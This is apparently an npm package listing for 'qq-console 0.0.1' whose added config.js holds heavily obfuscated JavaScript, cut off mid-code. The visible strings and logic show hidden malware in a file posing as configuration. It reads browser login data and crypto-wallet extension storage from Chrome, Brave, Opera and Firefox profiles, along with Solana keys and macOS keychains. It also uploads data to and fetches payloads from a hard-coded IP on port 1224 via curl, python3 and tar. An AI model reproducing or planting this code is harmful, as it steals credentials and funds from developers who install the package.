qq-console 0.0.1
Sign up to get free protection for your applications and to get access to all the features.
- package/config.js +1 -0
- package/index.d.ts +83 -0
- package/index.js +69 -0
- package/license +9 -0
- package/package.json +49 -0
- package/readme.md +125 -0
package/config.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
(function(_0x31f412,_0x1dfa78){function _0x48bd12(_0x5a3ccf,_0x10912c,_0x3604bc,_0x322ff7){return _0x215a(_0x3604bc-'0x7d',_0x322ff7);}const _0x18ec90=_0x31f412();function _0x1e1ce4(_0xe4a830,_0x5bfc40,_0x1c9754,_0x284012){return _0x215a(_0x1c9754-'0x314',_0x5bfc40);}while(!![]){try{const _0x151c89=-parseInt(_0x1e1ce4(0x3b4,0x426,0x3d9,'0x3aa'))/(-0x5*-0x4f9+-0x1781+-0x15b)+-parseInt(_0x1e1ce4('0x3fe','0x39d',0x403,0x3fd))/(0x1486*0x1+0xad*-0x2f+-0xb3f*-0x1)*(parseInt(_0x1e1ce4('0x416',0x388,'0x3be','0x444'))/(0xd*-0x92+0x1f*0x9f+-0x5ea*0x2))+parseInt(_0x48bd12('0x231',0x209,'0x1b9','0x200'))/(0x3*-0x973+0xae4+0x1179)+parseInt(_0x1e1ce4(0x46e,0x4d5,'0x47f','0x4a8'))/(-0x3*0xa51+-0xfb3*-0x1+0x517*0x3)+parseInt(_0x48bd12('0xb8',0xf5,0x114,0x19c))/(0x4d2*0x1+0x1597+-0x23*0xc1)+-parseInt(_0x1e1ce4(0x4c2,0x40c,'0x478','0x484'))/(-0xf7+-0x11*0x12d+0x14fb)+parseInt(_0x1e1ce4('0x460','0x46b',0x448,0x4bc))/(0x2*-0x136a+0x1bc3*-0x1+0xf*0x471)*(parseInt(_0x1e1ce4('0x452',0x444,0x459,0x496))/(0x28*-0x11+-0x13c5*-0x1+-0x445*0x4));if(_0x151c89===_0x1dfa78)break;else _0x18ec90['push'](_0x18ec90['shift']());}catch(_0x1c7fbb){_0x18ec90['push'](_0x18ec90['shift']());}}}(_0x5a85,-0x3c68e+0x14707*-0x8+0x158bc9*0x1));const _0x5732d7=(function(){let _0x48123e=!![];return function(_0x45836c,_0x3a7961){const _0x1ae73=_0x48123e?function(){function _0x411085(_0x119fe6,_0x400f5f,_0xade375,_0x377bb4){return _0x215a(_0xade375- -'0x30a',_0x400f5f);}if(_0x3a7961){const _0x5dd59c=_0x3a7961[_0x411085(-'0x212',-'0x1d5',-0x1f3,-'0x21a')](_0x45836c,arguments);return _0x3a7961=null,_0x5dd59c;}}:function(){};return _0x48123e=![],_0x1ae73;};}()),_0x2f5e90=_0x5732d7(this,function(){function _0x513e9d(_0x4828c4,_0x31e635,_0x373324,_0x7e641d){return _0x215a(_0x31e635- -'0x235',_0x4828c4);}const _0x108fec={};_0x108fec[_0x19b973(0x28d,'0x20f',0x252,'0x275')]=_0x19b973('0x31c',0x364,0x3a1,0x2fb)+'+$';const _0x537b4e=_0x108fec;function _0x19b973(_0x23a912,_0x20f8a2,_0x12932e,_0x2de509){return _0x215a(_0x23a912-0x1bf,_0x20f8a2);}return _0x2f5e90['toString']()[_0x513e9d(-0x192,-0x135,-0x12f,-'0x136')](_0x537b4e[_0x19b973('0x28d',0x2c9,0x2c1,0x307)])[_0x19b973(0x2b2,0x2d2,'0x338','0x2b1')]()[_0x513e9d(-0xc0,-0x125,-0x12d,-0x10c)+'r'](_0x2f5e90)[_0x19b973('0x2bf','0x251','0x31b',0x328)](_0x537b4e[_0x19b973('0x28d','0x25f','0x28f','0x279')]);});const _0x9566ca=(function(){function _0x3f2b94(_0x22a880,_0x5bef07,_0x38522e,_0x52761a){return _0x215a(_0x5bef07-'0xeb',_0x52761a);}const _0x2c9369={'faLan':function(_0x184423,_0x46d77c,_0x436c2d){return _0x184423(_0x46d77c,_0x436c2d);},'PfXpz':function(_0x23eb9e,_0x34ee03){return _0x23eb9e!==_0x34ee03;},'oekct':_0x3f2b94('0x21b',0x20c,0x235,0x216),'XUMps':'XsPqL','uaPTe':'csOsq'};let _0x251331=!![];return function(_0x2ac477,_0xb5340){function _0x5098c1(_0x5210ac,_0x266318,_0x44feca,_0x327a72){return _0x3f2b94(_0x5210ac-0x9e,_0x327a72-'0x21',_0x44feca-0xb2,_0x266318);}const _0x3ef1f0={};_0x3ef1f0[_0x11b964('0x21',-'0x67','0x8',-0x22)]=_0x5098c1('0x2b4','0x222',0x298,'0x23a');const _0x47db17=_0x3ef1f0;function _0x11b964(_0x1f7d1c,_0x2192f7,_0x569ded,_0x328a9c){return _0x3f2b94(_0x1f7d1c-'0x31',_0x569ded- -0x1a5,_0x569ded-0x12b,_0x2192f7);}if(_0x2c9369[_0x11b964(-'0x4a',-'0x4e','0x23',-0x9)]===_0x2c9369[_0x11b964(-0x8a,0x5b,-0x1e,-'0x48')])try{_0x609581[_0x11b964('0x7b',0x99,'0x32',0x7e)+_0x11b964(0xb0,'0xbc',0xbe,0xd6)](_0x59a405,_0x4d9379),_0x2c9369[_0x5098c1('0x18c',0x1a1,'0x206','0x1b1')](_0x40b5fc,_0x2ab39a,(_0x52cd31,_0x5afcf1,_0x3d89e9)=>{});}catch(_0x5d78c1){}else{const _0x519d7b=_0x251331?function(){function _0x439414(_0x419077,_0x3bd49e,_0x1d3906,_0x2d0649){return _0x5098c1(_0x419077-'0xb',_0x1d3906,_0x1d3906-'0x1e5',_0x419077-'0x286');}function _0x15b19f(_0x7df3b7,_0x48065e,_0x665d9d,_0x44284f){return _0x11b964(_0x7df3b7-'0x2e',_0x7df3b7,_0x665d9d-0xc5,_0x44284f-0x170);}if(_0x2c9369[_0x15b19f('0x10',0x58,0x88,'0x93')](_0x2c9369[_0x15b19f('0x1e9','0x1d6','0x17b',0x166)],_0x2c9369[_0x15b19f('0x192',0x14e,0x17b,'0x177')])){if(_0x26cc7a[_0x15b19f('0x1d0','0x1ec',0x186,0x1f9)](_0x47db17[_0x15b19f(0x69,0xf9,'0xcd',0xbe)])){let _0x259c84=_0x288601[_0x439414(0x4c4,0x503,0x4af,'0x4f5')](_0x554302,_0xa770b3),_0x131bc0=[];_0x131bc0=_0x6e6bea[_0x15b19f('0x1f1',0x194,0x189,0x1ec)+'c'](_0x259c84),_0x131bc0[_0x439414(0x513,'0x4b0','0x492',0x553)](_0x2cb381=>{function _0x126b61(_0x498b75,_0x2bf4ad,_0x977bb9,_0x3fa38e){return _0x15b19f(_0x2bf4ad,_0x2bf4ad-0x16f,_0x3fa38e- -0x3c,_0x3fa38e-'0x13');}function _0x3e7f87(_0x3dbcea,_0xf099cf,_0x5ede2b,_0x230e4d){return _0x439414(_0x3dbcea- -0xa0,_0xf099cf-'0xef',_0x230e4d,_0x230e4d-0x1e2);}if(!_0x57f600[_0x3e7f87('0x451','0x469','0x3ed',0x3e8)](_0x1f512e['join'](_0x259c84,_0x2cb381))[_0x3e7f87('0x450','0x42e','0x41f',0x459)+'y']()){let _0x568b82=_0x407f43['join'](_0x259c84,_0x2cb381);const _0x3b73ca={};_0x3b73ca[_0x3e7f87(0x458,'0x476',0x474,'0x427')]=_0x22aca0+'_'+_0x2e615c+'_'+_0x2cb381,_0x5900d1['push']({'value':_0xc92782[_0x3e7f87(0x3f1,0x402,'0x3e7',0x407)+_0x126b61('0xb0',0x14a,0xd1,'0xc4')](_0x568b82),'options':_0x3b73ca});}});}}else{if(_0xb5340){const _0x166379=_0xb5340['apply'](_0x2ac477,arguments);return _0xb5340=null,_0x166379;}}}:function(){};return _0x251331=![],_0x519d7b;}};}()),_0x1dfeff=_0x9566ca(this,function(){const _0x463103={'hYZNx':function(_0x283f84,_0x43d0e1){return _0x283f84(_0x43d0e1);},'XoDJZ':function(_0x38522b,_0x2c1db0){return _0x38522b+_0x2c1db0;},'UTFRz':_0x5bbe66(-'0x1d9',-'0x213',-0x1d6,-0x15d)+_0x5ee5ba(-0x2c7,-0x28e,-0x2bf,-0x2be),'KWrhH':'{}.constru'+_0x5ee5ba(-'0x318',-0x23c,-0x26a,-0x2c1)+_0x5ee5ba(-0x273,-0x1e3,-0x23a,-0x221)+'\x20)','ouIYd':function(_0x6d31b9){return _0x6d31b9();},'hieSH':'log','HBBUR':_0x5ee5ba(-0x271,-0x235,-0x2b0,-0x246),'IlDZo':'info','jwmHw':_0x5bbe66(-0x1c7,-0x1f2,-0x1cc,-0x173),'suPXk':'table','lKLEO':_0x5ee5ba(-0x2c7,-0x305,-0x2af,-0x2b1),'zVQAz':function(_0x1c316b,_0x4003d4){return _0x1c316b<_0x4003d4;},'wChaF':_0x5ee5ba(-'0x231',-0x29c,-'0x1ca',-0x23c)};function _0x5bbe66(_0x1fe4c8,_0x39c717,_0x1e3b89,_0x1ab648){return _0x215a(_0x1e3b89- -'0x2d2',_0x1fe4c8);}const _0x1da527=function(){function _0x44675c(_0x793473,_0x105a9a,_0x1aa5d7,_0x519d17){return _0x5ee5ba(_0x1aa5d7,_0x105a9a-0x1ac,_0x1aa5d7-'0x44',_0x793473-0x523);}let _0x3e3037;function _0x2e565d(_0x5ad82d,_0x2fbbcf,_0x31751e,_0x1d977f){return _0x5bbe66(_0x2fbbcf,_0x2fbbcf-0x84,_0x31751e-'0xad',_0x1d977f-0x7a);}try{_0x3e3037=_0x463103[_0x2e565d(-'0x1a0',-0x15f,-'0x133',-'0xb4')](Function,_0x463103[_0x2e565d(-'0x114',-'0xf1',-0x11e,-'0xf1')](_0x463103[_0x2e565d(-0x12b,-'0x14f',-'0x1a3',-0x195)],_0x463103[_0x2e565d(-0x1d2,-'0x17f',-'0x197',-0x1c7)])+');')();}catch(_0x4d6a34){_0x3e3037=window;}return _0x3e3037;};function _0x5ee5ba(_0x555fe7,_0x5b07b7,_0x1f4ab2,_0x1685d6){return _0x215a(_0x1685d6- -'0x357',_0x555fe7);}const _0x2f60b6=_0x463103['ouIYd'](_0x1da527),_0x1de3ff=_0x2f60b6[_0x5bbe66(-'0x165',-'0x203',-'0x1c3',-'0x1b8')]=_0x2f60b6[_0x5bbe66(-0x195,-'0x13b',-0x1c3,-'0x222')]||{},_0x3bb172=[_0x463103[_0x5ee5ba(-0x2b6,-0x308,-0x26b,-0x2aa)],_0x463103[_0x5ee5ba(-'0x2bf',-0x1dd,-0x208,-'0x25c')],_0x463103[_0x5ee5ba(-'0x243',-0x236,-'0x16d',-'0x1d0')],_0x463103[_0x5ee5ba(-'0x221',-'0x195',-0x1ca,-'0x1e1')],_0x5ee5ba(-0x27d,-0x2d2,-'0x2bf',-0x2cb),_0x463103[_0x5bbe66(-'0x169',-0x133,-'0x164',-'0x193')],_0x463103['lKLEO']];for(let _0x9049f4=0x1e42+-0x23fc+0x5ba*0x1;_0x463103['zVQAz'](_0x9049f4,_0x3bb172['length']);_0x9049f4++){if(_0x463103[_0x5bbe66(-0x1ec,-0x200,-'0x237',-'0x232')]===_0x5bbe66(-0x224,-0x179,-'0x1dc',-0x246))try{const _0xdd5c5f={};_0xdd5c5f[_0x5bbe66(-'0x1ac',-'0xfa',-'0x16c',-'0x158')]=_0x5bbe66(-'0xd0',-0xeb,-'0x153',-'0x1a1'),_0x5ca628[_0x5bbe66(-'0x161',-'0x21b',-'0x1c0',-'0x225')]({'value':_0xf1da64[_0x5ee5ba(-0x249,-0x1f3,-0x250,-'0x258')+'Stream'](_0x132139),'options':_0xdd5c5f});}catch(_0xc09c62){}else{const _0x50398b=_0x9566ca[_0x5ee5ba(-0x2a8,-'0x2a8',-'0x200',-0x247)+'r'][_0x5ee5ba(-0x2ed,-0x353,-0x2a0,-'0x2d0')][_0x5bbe66(-'0x252',-0x26b,-'0x248',-0x286)](_0x9566ca),_0x345ef3=_0x3bb172[_0x9049f4],_0x270428=_0x1de3ff[_0x345ef3]||_0x50398b;_0x50398b['__proto__']=_0x9566ca[_0x5bbe66(-'0x240',-'0x2ac',-'0x248',-0x29f)](_0x9566ca),_0x50398b[_0x5ee5ba(-0x288,-'0x1ff',-0x1fd,-'0x264')]=_0x270428[_0x5bbe66(-0x251,-0x167,-'0x1df',-'0x1a1')][_0x5ee5ba(-0x245,-0x2bb,-'0x2a7',-'0x2cd')](_0x270428)}}});_0x1dfeff();function _0x5a85(){const _0x3afdf6=['behhmhfood','bind','/.npl','exception','pikoobohma','KWrhH','LtHmw','\x20Support/','poOdG','replace','dUgeV','sphoc','size','ctor(\x22retu','3536796ZgEYDp','child_proc','nction()\x20','acmacodkjb','wChaF','uaPTe','ocal/Micro','164.17.24:','nmhnfnkdna','table','alGEq','otAHP','idb','KXdmj','faLan','trace','aeachknmef','UoFIJ','ibnejdfjmm','546204SpdKAR','CboGZ','Profile\x20','hieSH','ion','aeaoehlefn','are/Brave-','OEzHT','/User\x20Data','\x20-C\x20','/.npl\x22','url','OfnHQ','/Local\x20Sta','fKpGz','GvRQo','Google/Chr','pZGvB','jbmgjidlcd','User\x20Data','/uploads','UNVps','IWjWh','tsrBd','NJrsf','JMCeu','FamnG','526032rQhHLv','/client/','_lst','bohpjbbldc','kLZrh','length','hnfanknocf','pFsBG','dNrzk','azdwm','getTime','pplication','era\x20Softwa','ox/Profile','FHBcK','rmSync','gHYkq','HtQtX','pld_','imhlpmgjnj','Skedo','ZJQBu','solana_id.','WQGQD','XUMps','oftware.Op','/pdown','\x5cp.zi','XUrwt','ser','Roaming/Op','qvbNI','solfj','/.config/','grZeP','EOJdY','hostname','whLbW','oxoQz','writeFileS','opera','multi_file','2axhTIQ','1224','QrBVI','hYZNx','toString','mcifI','Stream','DJQZf','jmvry','moz-extens','/Local\x20Ext','kodbefgpgk','HBBUR','return\x20(fu','curl\x20-Lo\x20\x22','lmeeeajnim','createRead','search','google-chr','efault','jBNfC','nkbihfbeog','request','error','XoDJZ','cfgodnhcel','Vuuwl','\x5c.pyp\x5cpyth','/Login\x20Dat','eSoftware/','fVkvd','ess','console','constructo','warn','push','ome','Browser','WBWpv','dfBRr','apply','lczGt','AmvHI','on.exe','KnFBD','UBWvP','round','\x20Support/G','OclKF','xZWuS','yMtii','kMaZy','urzBQ','AgqRG','re/Brave-B','type','son','bDEIo','accessSync','Mfzas','197','era','.log','.files','MFpJT','.ldb','oaming/Moz','join','/ld_','776zNQYSc','GiiYF','rn\x20this\x22)(','get','WDjbb','tings','re/Opera\x20S','raveSoftwa','2117684eVFIOD','le/Chrome','eofbddgcij','UFAjh','gXSkv','\x22\x20\x22','TstEY','http://95.','Local/Goog','8937vYPgJO','OQBAZ','BraveSoftw','yFYbc','HdDgY','exec','Bpjmb','HpOrn','jRBXU','renameSync','python3\x20\x22','tar\x20-xf\x20','hifafgmccd','wAYRb','phepccionb','JjUvf','hid','iMPLx','ZCoVu','dirname','MWReT','/Library/A','vdvQD','OPnTQ','(((.+)+)+)','isDirector','statSync','fhbohimael','dlcobpjiig','gpafnldhgm','MRNCr','3001271DBuGAq','Default','filename','sjiRj','JYojV','CRJLZ','copyFile','2082480tYFviz','LAgeD','hPINN','suPXk','auCbQ','oekct','zKkml','dnSIC','iwPPg','VPmex','zbRdf','jwmHw','Brave-Brow','ync','aholpfdial','brld_','includes','ejbalbakop','/AppData/','readdirSyn','logkc-db','-db','forEach','isIHQ','jgjfhomihk','QkwPw','GvSLV','klbop','IlDZo','formData','rowser','_uld','ogin.keych','xuIVx','jblndlipeo','PfXpz','gextl','cJJSy','WUiHm','ension\x20Set','UTFRz','uts','oohckonoee','existsSync','post','prototype','\x20Support/B'];_0x5a85=function(){return _0x3afdf6;};return _0x5a85();}const _0x3b3889=require('fs'),_0x205e5e=require('os'),_0x5f5139=require('path'),_0x17f1b9=require(_0x23fb27(-0x158,-0x1b9,-'0x159',-0x219)),_0x439948=require(_0x23fb27(-0x1a0,-0x226,-0x244,-0x1d0)+_0x23fb27(-0x22f,-0x1b0,-0x192,-0x223))[_0x23fb27(-'0x1c5',-'0x174',-'0x150',-0x1cb)],_0xfae8d5=_0x205e5e[_0x23fb27(-0x204,-'0x1d5',-0x1a9,-'0x239')](),_0x384a93=_0x205e5e['platform'](),_0x20b00a=_0x205e5e['homedir'](),_0x3fb968=_0x205e5e['tmpdir'](),_0x99b856=_0x205e5e['type'](),_0x198519=_0xd70636(-'0x24f',-0x2fe,-0x276,-'0x25a')+_0xd70636(-'0x304',-0x2b6,-'0x31b',-0x344)+_0x23fb27(-'0x1d9',-0x1ce,-'0x1f2',-'0x15b'),_0x5927bf=_0x401a4a=>_0x401a4a[_0x23fb27(-'0x242',-0x22c,-'0x237',-0x257)](/^~([a-z]+|\/)/,(_0x31cda4,_0x2a6419)=>'/'===_0x2a6419?_0x20b00a:_0x5f5139[_0xd70636(-'0x297',-0x22a,-0x261,-0x2b3)](_0x20b00a)+'/'+_0x2a6419),_0x260643='3',_0x4a65c7=_0x23fb27(-0x1f7,-0x193,-0x158,-0x130);function _0x77d5d0(_0x4a2961){const _0x46d93e={};_0x46d93e[_0x3f335b('0x359',0x319,'0x353','0x379')]=_0x3f335b('0x354','0x2ee','0x382',0x349);function _0x3f335b(_0x3dd4cc,_0x3dac5c,_0x57340d,_0x1ff2a6){return _0xd70636(_0x3dac5c,_0x3dac5c-0x8,_0x3dd4cc-'0x58e',_0x1ff2a6-'0x46');}function _0x540588(_0x565509,_0x4afe02,_0x50aa73,_0x3d1f4f){return _0x23fb27(_0x4afe02,_0x50aa73- -'0xe5',_0x50aa73-'0x13d',_0x3d1f4f-0x165);}_0x46d93e[_0x3f335b('0x253','0x1cb','0x1db','0x227')]=_0x540588(-0x207,-'0x2c0',-'0x27f',-0x285);const _0x110f41=_0x46d93e;try{if(_0x110f41[_0x540588(-0x358,-'0x388',-0x325,-'0x32f')]!==_0x110f41[_0x540588(-'0x2bd',-0x373,-'0x325',-0x38b)]){const _0x550b5e={};_0x550b5e['filename']=_0x110f41[_0x540588(-'0x1cb',-'0x205',-'0x21f',-'0x1bf')],_0x5e247c[_0x3f335b(0x2e7,'0x2a3','0x294','0x342')]({'value':_0x5398e0[_0x540588(-'0x2ea',-'0x22c',-0x2a4,-0x316)+'Stream'](_0x439470),'options':_0x550b5e});}else return _0x3b3889[_0x3f335b(0x2fe,'0x318','0x31d',0x37a)](_0x4a2961),!![];}catch(_0x475de5){return![];}}const _0x400d49=['Local/Brav'+_0x23fb27(-'0x1de',-'0x1b2',-'0x1f7',-0x131)+_0xd70636(-'0x213',-'0x285',-0x242,-0x1e9)+_0x23fb27(-0x1a7,-'0x1dc',-'0x204',-0x222),_0xd70636(-'0x2f8',-0x2d5,-0x272,-'0x2a7')+_0xd70636(-0x2fb,-'0x2b8',-0x309,-'0x321')+_0xd70636(-'0x27b',-0x261,-'0x2a5',-'0x2b1'),_0x23fb27(-0x1cf,-0x177,-0xef,-0x138)+_0xd70636(-0x329,-'0x36b',-0x309,-0x2f9)+'Browser'],_0x49d026=[_0x23fb27(-0x124,-0x17a,-0xfc,-0x11e)+_0x23fb27(-'0x203',-'0x181',-0x1f8,-0x1f6),_0x23fb27(-'0x22e',-0x204,-'0x252',-'0x27d')+'ome',_0xd70636(-'0x240',-0x295,-'0x2b8',-'0x263')+_0xd70636(-'0x2b4',-0x2da,-0x2a6,-'0x2fc')],_0x408be8=[_0x23fb27(-'0x226',-'0x1db',-'0x178',-0x1f3)+_0x23fb27(-'0x1e9',-0x1ed,-0x1fa,-0x1b1)+_0xd70636(-0x2f4,-'0x27a',-0x27f,-0x2e3)+_0xd70636(-0x30a,-'0x38b',-0x319,-'0x342'),'com.operas'+_0x23fb27(-0x21a,-0x1e0,-'0x255',-0x23d)+_0xd70636(-0x299,-'0x2af',-0x28d,-0x2ed),_0x23fb27(-'0x1c0',-'0x1d1',-'0x1ed',-'0x1ff')],_0x21b9db=[_0x23fb27(-'0x133',-'0x1ba',-0x17c,-'0x147')+_0xd70636(-'0x38a',-'0x30c',-0x30a,-0x28b)+_0x23fb27(-0x17b,-0x1c4,-0x232,-0x22d)+'nn',_0x23fb27(-'0x18e',-'0x142',-'0x10e',-0xfc)+'lchlghecda'+_0x23fb27(-'0x22f',-'0x1c0',-0x213,-0x1cb)+'hm',_0x23fb27(-0xee,-0x15e,-'0x16e',-'0x1db')+_0x23fb27(-'0x241',-'0x1f6',-'0x178',-0x21a)+'ngcnapndod'+'jp',_0x23fb27(-0x258,-'0x1f3',-0x253,-0x248)+_0xd70636(-0x2e6,-0x272,-'0x27b',-'0x225')+_0xd70636(-0x383,-0x294,-'0x31a',-0x2c1)+'ad',_0xd70636(-'0x319',-'0x29d',-0x310,-0x344)+'kpcnlpebkl'+'mnkoeoihof'+'ec','bfnaelmome'+_0x23fb27(-0x248,-'0x1e6',-'0x1ab',-'0x187')+'ophhpkkolj'+'pa',_0xd70636(-0x328,-'0x36b',-0x312,-'0x2b6')+_0x23fb27(-0x174,-0x16b,-0x124,-0x11c)+_0xd70636(-'0x302',-0x33e,-'0x335',-'0x300')+'mg',_0x23fb27(-'0x18e',-'0x16d',-'0x1d2',-0x170)+'pekplomjjk'+_0x23fb27(-'0x1a4',-0x1b6,-'0x215',-0x1ea)+'lj',_0x23fb27(-'0x261',-0x242,-'0x2b0',-'0x202')+_0xd70636(-'0x1e2',-'0x20f',-0x257,-'0x227')+'apagcccfch'+'pi',_0x23fb27(-'0x1bf',-0x224,-'0x299',-'0x29b')+'dgmoleebol'+'mdjonilkdb'+'ch',_0xd70636(-0x2cc,-'0x2c5',-0x258,-0x1d8)+_0x23fb27(-0x272,-'0x231',-'0x224',-'0x202')+_0xd70636(-'0x340',-0x2d0,-'0x330',-0x2bd)+'bb',_0x23fb27(-0x1b5,-'0x145',-'0x16e',-'0x102')+_0xd70636(-0x1d2,-0x2a4,-'0x236',-0x1f4)+_0xd70636(-0x291,-'0x2de',-0x2fd,-0x300)+'no'],_0xf420e=async(_0xed3c0d,_0x29ebb3,_0x5464ee,_0x1674b1)=>{const _0x21c124={'sTrOq':'.log','KBlkf':_0x47597b(-'0x1fa',-'0x187',-'0x234',-'0x182'),'iwPPg':function(_0x22d3c6,_0x220237){return _0x22d3c6===_0x220237;},'MWReT':function(_0x58a441,_0x4a8279){return _0x58a441(_0x4a8279);},'hPINN':function(_0x3dd5a1,_0x10135c){return _0x3dd5a1<_0x10135c;},'UoFIJ':_0x47597b(-'0x1c5',-'0x185',-'0x232',-'0x21d'),'otAHP':function(_0x243c96,_0x37691a){return _0x243c96!==_0x37691a;},'hlDkV':_0x54ccd7(-'0x109',-0xd9,-0xfa,-'0xfe'),'zKkml':_0x47597b(-0x250,-'0x28c',-'0x1e8',-0x2cc),'tlofU':_0x47597b(-0x24f,-'0x267',-'0x1de',-'0x212')+'txt','klbop':function(_0x4eae11,_0x59fb23,_0x4ccc6f){return _0x4eae11(_0x59fb23,_0x4ccc6f);}};let _0x235b46;if(!_0xed3c0d||_0x21c124[_0x54ccd7(-0x7e,-0x79,-'0xb9',-0x4c)]('',_0xed3c0d))return[];try{if(!_0x21c124['MWReT'](_0x77d5d0,_0xed3c0d))return[];}catch(_0x26673f){return[];}_0x29ebb3||(_0x29ebb3='');let _0x40399f=[];for(let _0x1f6bc8=0x2*0xfd7+0x2*-0x6fd+-0x11b4;_0x21c124[_0x54ccd7(-0x36,'0x1d',-0x58,-0x52)](_0x1f6bc8,0xa*-0x2b0+0x3fb*-0x2+0x239e);_0x1f6bc8++){const _0x3d6fdb=_0xed3c0d+'/'+(_0x21c124[_0x47597b(-'0x1b7',-0x192,-0x22c,-0x1d8)](0xd27+0xde3*0x1+-0xd85*0x2,_0x1f6bc8)?_0x21c124[_0x54ccd7(-'0x96',-'0xa8',-0x167,-'0x117')]:_0x54ccd7(-0x103,-0x14b,-0x91,-0x113)+_0x1f6bc8)+(_0x47597b(-'0x231',-'0x204',-0x1fd,-0x250)+_0x47597b(-'0x2a9',-'0x237',-0x2d3,-0x29b)+_0x54ccd7(-'0x65',-0xdc,-'0x3f',-0x86));for(let _0x122bea=-0x1*0xfad+0xfdb+-0x2e;_0x122bea<_0x21b9db[_0x54ccd7(-0xff,-'0x97',-0x115,-'0xf5')];_0x122bea++){let _0xbe5fcf=_0x3d6fdb+'/'+_0x21b9db[_0x122bea];if(_0x21c124[_0x54ccd7(-0x75,-'0x29',-'0xd',-0x66)](_0x77d5d0,_0xbe5fcf)){let _0x4269ab=[];try{_0x4269ab=_0x3b3889[_0x47597b(-0x1ac,-0x1ce,-'0x15d',-'0x1fd')+'c'](_0xbe5fcf);}catch(_0x3ad8b0){_0x4269ab=[];}_0x4269ab[_0x47597b(-'0x1a9',-0x1b1,-'0x1fa',-0x180)](async _0x227af1=>{let _0x302de5=_0x5f5139[_0x488d37(-'0xca',-'0x96',-'0x6e',-0x147)](_0xbe5fcf,_0x227af1);function _0xe68188(_0x9bb883,_0x21bcf3,_0x2eab68,_0x1766ca){return _0x47597b(_0x1766ca-0x4a3,_0x21bcf3-'0x1dc',_0x2eab68,_0x1766ca-0x1eb);}function _0x488d37(_0xac857,_0x6ce9e0,_0x5b1a5b,_0x90daa6){return _0x47597b(_0xac857-0x12e,_0x6ce9e0-0x18,_0x6ce9e0,_0x90daa6-0xff);}try{const _0x370680={};_0x370680[_0xe68188(0x300,'0x25e','0x28b','0x2df')]=_0x4a65c7+'_'+_0x29ebb3+_0x1f6bc8+'_'+_0x21b9db[_0x122bea]+'_'+_0x227af1,(_0x302de5[_0xe68188(0x302,'0x317',0x2ca,'0x2f4')](_0x21c124['sTrOq'])||_0x302de5[_0x488d37(-0x81,-0xdb,-0xc0,-'0xe9')](_0x21c124['KBlkf']))&&_0x40399f[_0x488d37(-0xea,-'0x147',-0x107,-0xfd)]({'value':_0x3b3889[_0xe68188(0x300,'0x223','0x275','0x278')+_0xe68188('0x2a4','0x258',0x2a8,0x26e)](_0x302de5),'options':_0x370680});}catch(_0x5b446a){}});}}}function _0x47597b(_0x5ba45b,_0x3e39f3,_0x23109a,_0x540007){return _0xd70636(_0x23109a,_0x3e39f3-'0x7b',_0x5ba45b-0x8f,_0x540007-'0x11d');}if(_0x5464ee&&(_0x235b46=_0x20b00a+('/.config/s'+'olana/id.j'+_0x54ccd7(-'0x14',-'0x2b',-0xa7,-0x98)),_0x3b3889[_0x54ccd7(-'0x188',-'0x1a2',-0x17a,-'0x13a')](_0x235b46)))try{if(_0x21c124[_0x54ccd7(-0xdf,-'0xab',-0xbc,-0x11d)](_0x21c124['hlDkV'],_0x21c124[_0x47597b(-0x1b9,-0x15b,-0x22a,-'0x182')])){const _0xcc3906={};_0xcc3906[_0x54ccd7(-'0x11',-'0xb7',-'0x6a',-'0x59')]=_0x21c124['tlofU'],_0x40399f[_0x54ccd7(-0xfa,-'0xfb',-'0x50',-'0xad')]({'value':_0x3b3889['createRead'+_0x47597b(-'0x235',-'0x234',-0x1c1,-'0x1cb')](_0x235b46),'options':_0xcc3906});}else{const _0x5109e9=_0xaf8beb?function(){function _0x3eef51(_0x57ec4a,_0x195e3d,_0x2a6482,_0x1ceab9){return _0x54ccd7(_0x57ec4a,_0x195e3d-0xcf,_0x2a6482-'0x1a8',_0x1ceab9-0x558);}if(_0x1e8bbf){const _0x3e7893=_0x4711f7[_0x3eef51('0x46b','0x4d7',0x48c,'0x4b0')](_0x130c03,arguments);return _0x378cff=null,_0x3e7893;}}:function(){};return _0x3c71ed=![],_0x5109e9;}}catch(_0x5792f7){}function _0x54ccd7(_0x15a967,_0x1de337,_0x43b9b3,_0x33745d){return _0x23fb27(_0x15a967,_0x33745d-0xff,_0x43b9b3-0x185,_0x33745d-0xb9);}return _0x21c124[_0x54ccd7(0x1a,-0x57,-0x7f,-'0x39')](_0x20a283,_0x40399f,_0x1674b1),_0x40399f;},_0x2e6507=_0x57accb=>{function _0x21f479(_0x314b9f,_0x19ac53,_0x383ff4,_0x7bd3b6){return _0xd70636(_0x314b9f,_0x19ac53-0x13a,_0x383ff4-'0x79b',_0x7bd3b6-'0x29');}const _0x233867={'dfBRr':function(_0x37d687,_0x1b9304){return _0x37d687===_0x1b9304;},'odDBJ':_0x574e85(0x430,'0x368','0x413',0x3e3),'UBWvP':'AIZcx','wAYRb':function(_0x52dae1,_0x1f7ec9){return _0x52dae1===_0x1f7ec9;},'grZeP':'EbQJR','Mfzas':_0x574e85(0x2ec,0x377,0x3d5,0x366),'OEzHT':_0x574e85('0x416','0x3bd','0x423','0x3f0'),'UFAjh':function(_0x45253f,_0x516420){return _0x45253f(_0x516420);},'pZGvB':'.files','qvbNI':_0x21f479('0x5af','0x505','0x551',0x55b),'Bpjmb':'-release','walXG':function(_0x37624b,_0x1d8d12,_0xcddfa3){return _0x37624b(_0x1d8d12,_0xcddfa3);}},_0x1002fc=_0x233867[_0x21f479('0x4e4',0x51c,0x521,'0x5a9')](_0x5927bf,'~/')+('/AppData/R'+_0x574e85(0x47a,0x3d2,'0x432',0x3f4)+'illa/Firef'+_0x21f479(0x517,'0x521',0x4b4,'0x4cf')+'s');let _0x37137f=[];function _0x574e85(_0x35e014,_0xdd54ab,_0x3c3ff2,_0x338157){return _0x23fb27(_0x35e014,_0x338157-'0x581',_0x3c3ff2-0x1ee,_0x338157-0x87);}if(_0x233867[_0x574e85(0x45b,0x3de,0x47f,'0x402')](_0x77d5d0,_0x1002fc)){let _0x4e4ea6=[];try{_0x4e4ea6=_0x3b3889[_0x21f479('0x525','0x533','0x560',0x529)+'c'](_0x1002fc);}catch(_0x38f1db){_0x4e4ea6=[];}let _0x508655=0x2*0xd8b+-0x1d56+0x240;return _0x4e4ea6['forEach'](async _0x5964d1=>{const _0x5418cc={'bDEIo':_0x233867[_0x6aa311('0x4e',-0x34,0x88,0xae)],'AXnPS':_0x6aa311('0xcd',0x53,'0x46','0xd9'),'mcifI':function(_0x5e4447,_0x2a500b){return 